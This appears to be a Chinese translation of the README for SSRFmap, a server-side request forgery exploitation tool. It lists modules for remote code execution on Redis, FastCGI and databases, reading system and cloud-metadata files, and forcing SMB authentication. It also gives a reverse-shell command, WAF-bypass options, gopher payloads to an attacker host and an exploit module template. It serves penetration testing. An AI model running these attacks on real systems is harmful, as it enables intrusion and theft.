SSRF 通常用於利用其他服務上的操作,該框架旨在輕鬆找到和利用這些服務。 SSRFmap 將 Burp 請求檔作為輸入和模糊測試的參數。
伺服器端請求偽造或 SSRF 是攻擊者強制伺服器代表他們執行請求的漏洞。
以下模組已實現並且可以與-m
參數一起使用。
姓名 | 描述 |
---|---|
axfr | DNS 區域傳輸 (AXFR) |
fastcgi | FastCGI 遠端程式碼執行 |
redis | Redis 遠端執行 |
github | Github 企業 RCE < 2.8.7 |
zabbix | Zabbix 遠端執行 |
mysql | MySQL指令執行 |
postgres | Postgres 指令執行 |
docker | 透過 API 洩露 Docker 訊息 |
smtp | SMTP發送郵件 |
portscan | 掃描主機的前 8000 個端口 |
networkscan | HTTP Ping 掃描網絡 |
readfiles | 讀取/etc/passwd 等文件 |
alibaba | 從提供者讀取檔案(例如:元資料、使用者資料) |
aws | 從提供者讀取檔案(例如:元資料、使用者資料) |
gce | 從提供者讀取檔案(例如:元資料、使用者資料) |
digitalocean | 從提供者讀取檔案(例如:元資料、使用者資料) |
socksproxy | SOCKS4代理 |
smbhash | 透過 UNC 路徑強制 SMB 身份驗證 |
tomcat | 針對 Tomcat Manager 的暴力攻擊 |
custom | 將自訂資料傳送至監聽服務,例如:netcat |
memcache | 將資料儲存在 memcache 實例中 |
來自 Github 儲存庫。
$ git clone https: // github.com / swisskyrepo / SSRFmap
$ cd SSRFmap /
$ pip3 install - r requirements.txt
$ python3 ssrfmap.py
usage: ssrfmap.py [ - h ] [ - r REQFILE ] [ - p PARAM ] [ - m MODULES ] [ - l HANDLER ]
[ - v [ VERBOSE ]] [ -- lhost LHOST ] [ -- lport LPORT ]
[ -- uagent USERAGENT ] [ -- ssl [ SSL ]] [ -- level [ LEVEL ]]
optional arguments:
- h , -- help show this help message and exit
- r REQFILE SSRF Request file
- p PARAM SSRF Parameter to target
- m MODULES SSRF Modules to enable
- l HANDLER Start an handler for a reverse shell
- v [ VERBOSE ] Enable verbosity
-- lhost LHOST LHOST reverse shell or IP to target in the network
-- lport LPORT LPORT reverse shell or port to target in the network
-- uagent USERAGENT User Agent to use
-- ssl [ SSL ] Use HTTPS without verification
-- proxy PROXY Use HTTP(s) proxy (ex: http: // localhost: 8080 )
-- level [ LEVEL ] Level of test to perform ( 1 - 5 , default : 1 )
碼頭工人
$ git clone https: // github.com / swisskyrepo / SSRFmap
$ docker build -- no - cache - t ssrfmap .
$ docker run - it ssrfmap ssrfmap.py [ OPTIONS ]
$ docker run - it - v $ (pwd): / usr / src / app ssrfmap ssrfmap.py
首先,您需要一個帶有參數的請求來進行模糊測試,Burp 請求與 SSRFmap 配合良好。它們應該如下所示。 ./examples資料夾中提供了更多範例。
POST / ssrf HTTP / 1.1
Host: 127.0 . 0.1 : 5000
User - Agent: Mozilla / 5.0 (X11; Linux x86_64; rv: 62.0 ) Gecko / 20100101 Firefox / 62.0
Accept: text / html , application / xhtml + xml , application / xml;q = 0.9 , */* ;q = 0.8
Accept - Language: en - US , en;q = 0.5
Accept - Encoding: gzip , deflate
Referer: http: // mysimple.ssrf /
Content - Type: application / x - www - form - urlencoded
Content - Length: 31
Connection: close
Upgrade - Insecure - Requests: 1
url = https % 3A % 2F % 2Fwww.google.fr
使用-m
後跟模組名稱(如果要啟動多個模組,
則以 分隔)。
# Launch a portscan on localhost and read default files
python ssrfmap.py - r examples / request.txt - p url - m readfiles , portscan
如果你想在 header、GET 或 POST 參數中註入,你只需要指定參數名稱
python ssrfmap.py - r examples / request6.txt - p X - Custom - Header - m readfiles -- rfiles / tmp / test
如果您需要自訂使用者代理,請使用--uagent
。某些目標將使用 HTTPS,您可以使用--ssl
啟用它。
# Launch a portscan against an HTTPS endpoint using a custom user-agent
python ssrfmap.py - r examples / request.txt - p url - m portscan -- ssl -- uagent " SSRFmapAgent "
有些模組允許您建立回連接,您必須指定LHOST
和LPORT
。 SSRFmap 也可以偵聽傳入的反向 shell。
# Triggering a reverse shell on a Redis
python ssrfmap.py - r examples / request.txt - p url - m redis -- lhost = 127.0 . 0.1 -- lport = 4242 - l 4242
# -l create a listener for reverse shell on the specified port
# --lhost and --lport work like in Metasploit, these values are used to create a reverse shell payload
當目標受 WAF 或某些過濾器保護時,您可以嘗試使用參數--level
的各種有效負載和編碼。
# --level : ability to tweak payloads in order to bypass some IDS/WAF. e.g: 127.0.0.1 -> [::] -> 0000: -> ...
可以使用data/example.py
SSRF 服務來快速測試框架。
當地的
FLASK_APP = examples / example.py flask run &
python ssrfmap.py - r examples / request.txt - p url - m readfiles
碼頭工人
docker build -- no - cache - t ssrfmap .
# run example ssrf http service
docker run - it - v $ (pwd): / usr / src / app -- name example ssrfmap examples / example.py
# run example ssrf dns service
docker exec - u root:root - it example python examples / ssrf_dns.py
# run ssrfmap tool
docker exec - it example python ssrfmap.py - r examples / request.txt - p url - m readfiles
啟動測試請求:
docker exec - it example python ssrfmap.py - r examples / request.txt - p url - m readfiles -- rfiles / etc / issue
docker exec - it example python ssrfmap.py - r examples / request2.txt - p url - m readfiles -- rfiles / etc / issue
docker exec - it example python ssrfmap.py - r examples / request3.txt - p url - m readfiles -- rfiles / etc / issue
docker exec - it example python ssrfmap.py - r examples / request4.txt - p url - m readfiles -- rfiles / etc / issue
docker exec - it example python ssrfmap.py - r examples / request5.txt - p url - m readfiles -- rfiles / etc / issue
docker exec - it example python ssrfmap.py - r examples / request6.txt - p X - Custom - Header - m readfiles -- rfiles / etc / issue
docker exec - it example python ssrfmap.py - r examples / request.txt - p url - m axfr
docker exec - it example python ssrfmap.py - r examples / request3.txt - p url - m axfr -- lhost 127.0 . 0.1 -- lport 53 -- ldomain example.lab
我❤️ Pull requests :) 請隨意添加下面列出的任何功能或新服務。
gopher: // < proxyserver > : 8080 / _GET http: // < attacker: 80 > / x HTTP / 1.1 % 0A % 0A
gopher: // < proxyserver > : 8080 / _POST % 20http: // < attacker > : 80 / x % 20HTTP / 1.1 % 0ACookie: % 20eatme % 0A % 0AI + am + a + post + body
如果您希望新增與服務互動的模組,以下程式碼是一個模板。
from core . utils import *
import logging
name = "servicename in lowercase"
description = "ServiceName RCE - What does it do"
author = "Name or pseudo of the author"
documentation = [ "http://link_to_a_research" , "http://another_link" ]
class exploit ():
SERVER_HOST = "127.0.0.1"
SERVER_PORT = "4242"
def __init__ ( self , requester , args ):
logging . info ( "Module '{}' launched !" . format ( name ))
# Handle args for reverse shell
if args . lhost == None : self . SERVER_HOST = input ( "Server Host:" )
else : self . SERVER_HOST = args . lhost
if args . lport == None : self . SERVER_PORT = input ( "Server Port:" )
else : self . SERVER_PORT = args . lport
# Data for the service
# Using a generator to create the host list
# Edit the following ip if you need to target something else
gen_host = gen_ip_list ( "127.0.0.1" , args . level )
for ip in gen_host :
port = "6379"
data = "*1%0d%0a$8%0d%0aflus[...]%0aquit%0d%0a"
payload = wrapper_gopher ( data , ip , port )
# Handle args for reverse shell
payload = payload . replace ( "SERVER_HOST" , self . SERVER_HOST )
payload = payload . replace ( "SERVER_PORT" , self . SERVER_PORT )
# Send the payload
r = requester . do_request ( args . param , payload )
您也可以透過 IRL 啤酒或透過 Github 贊助商按鈕做出貢獻。